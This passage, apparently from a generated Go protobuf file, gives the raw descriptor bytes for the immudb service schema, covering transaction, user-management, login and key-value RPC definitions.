0x56, 0x61, 0x6c, 0x75, 0x65,\n\t0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a,\n\t0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66,\n\t0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75,\n\t0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52,\n\t0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52,\n\t0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52,\n\t0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00,\n\t0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03,\n\t0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28,\n\t0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22,\n\t0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54,\n\t0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73,\n\t0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75,\n\t0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c,\n\t0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61,\n\t0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65,\n\t0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74,\n\t0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c,\n\t0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68,\n\t0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12,\n\t0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20,\n\t0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22,\n\t0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65,\n\t0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49,\n\t0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63,\n\t0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49,\n\t0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28,\n\t0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65,\n\t0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a,\n\t0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74,\n\t0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b,\n\t0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a,\n\t0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01,\n\t0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f,\n\t0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61,\n\t0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74,\n\t0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74,\n\t0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69,\n\t0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f,\n\t0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22,\n\t0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62,\n\t0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79,\n\t0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58,\n\t0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f,\n\t0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f,\n\t0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c,\n\t0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69,\n\t0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e,\n\t0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a,\n\t0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61,\n\t0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65,\n\t0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72,\n\t0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xbb, 0x36, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65,\n\t0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65,\n\t0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74,\n\t0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d,\n\t0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c,\n\t0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73,\n\t0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74,\n\t0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65,\n\t0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22,\n\t0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65,\n\t0x72, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77,\n\t0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f,\n\t0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67,\n\t0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74,\n\t0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x75,\n\t0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61,\n\t0x6e, 0x67, 0x65, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72,\n\t0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65,\n\t0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a,\n\t0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,\n\t0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x3a,\n\t0x01, 0x2a, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65,\n\t0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x92, 0x01, 0x0a, 0x13, 0x43,\n\t0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67,\n\t0x65, 0x73, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76,\n\t0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2a, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68,\n\t0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65,\n\t0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x82, 0xd3, 0xe4, 0x93, 0x02,\n\t0x1e, 0x3a, 0x01, 0x2a, 0x22, 0x19, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e,\n\t0x67, 0x65, 0x73, 0x71, 0x6c, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x12,\n\t0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72,\n\t0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65,\n\t0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70,\n\t0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82,\n\t0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f,\n\t0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, 0x0a,\n\t0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69,\n\t0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67,\n\t0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45,\n\t0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64,\n\t0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54,\n\t0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c,\n\t0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,\n\t0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73,\n\t0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73,\n\t0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a,\n\t0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e,\n\t0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e,\n\t0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70,\n\t0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12,\n\t0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67,\n\t0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45,\n\t0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72,\n\t0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44,\n\t0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71,\n\t0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,\n\t0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16,\n\t0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66,\n\t0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64,\n\t0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62,\n\t0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f,\n\t0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f,\n\t0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d,\n\t0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78,\n\t0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,\n\t0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f,\n\t0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4f, 0x0a, 0x0a, 0x54,\n\t0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65,\n\t0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65,\n\t0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x30, 0x01, 0x12, 0x5d, 0x0a, 0x05,\n\t0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65,\n\t0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65,\n\t0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a,\n\t0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, 0x12, 0x4f, 0x0a, 0x06, 0x4c,\n\t0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70,\n\t0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e,\n\t0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e,\n\t0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a,\n\t0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, 0x01, 0x12, 0x4d, 0x0a, 0x03,\n\t0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54,\n\t0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a,\n\t0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x70, 0x0a, 0x0d, 0x56,\n\t0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72,\n\t0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,\n\t0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d,\n\t0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76,\n\t0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x4d, 0x0a,\n\t0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 